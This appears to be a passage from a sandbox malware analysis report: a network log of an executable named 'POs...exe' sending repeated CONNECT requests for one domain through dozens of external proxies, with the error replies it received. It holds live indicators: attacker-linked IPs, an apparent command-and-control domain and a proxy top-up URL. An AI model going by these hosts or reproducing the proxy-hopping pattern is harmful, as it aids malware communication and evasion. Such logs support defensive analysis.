Mar 11, 2024 16:43:58.586265087 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.11	51776	103.200.135.229	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.253278971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.11	52129	218.145.131.182	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.254607916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.11	52131	218.145.131.182	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.255897999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.11	51819	147.75.34.85	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.256670952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.563064098 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.11	52133	218.145.131.182	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.257868052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.11	51103	208.109.14.49	46047	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.267600060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311572075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.375686884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.390964985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.391596079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.469863892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.469746113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.485311031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:21.500835896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.11	52018	104.25.194.175	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.271650076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.425734997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.11	51852	5.252.23.220	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.284348965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.11	52050	104.27.8.161	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.286107063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.440424919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.11	51845	103.199.18.248	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.300204992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.046821117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.141993999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.715339899 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.11	51893	91.134.140.160	2572	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.306879997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.11	51928	212.118.43.143	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.307198048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.969173908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:36 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.11	51943	217.23.11.194	32708	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.308799982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.601490021 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.11	52075	172.67.182.22	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.315033913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.469543934 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.11	51951	93.190.142.57	41890	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.318690062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.624242067 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.11	51890	37.235.48.19	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.319380045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.11	51668	124.160.118.183	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.320261002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.329309940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.854645967 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Tue, 12 Mar 2024 04:03:29 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.11	51995	38.7.109.253	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.321383953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.985588074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.689174891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985799074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689131021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376562119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.849597931 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
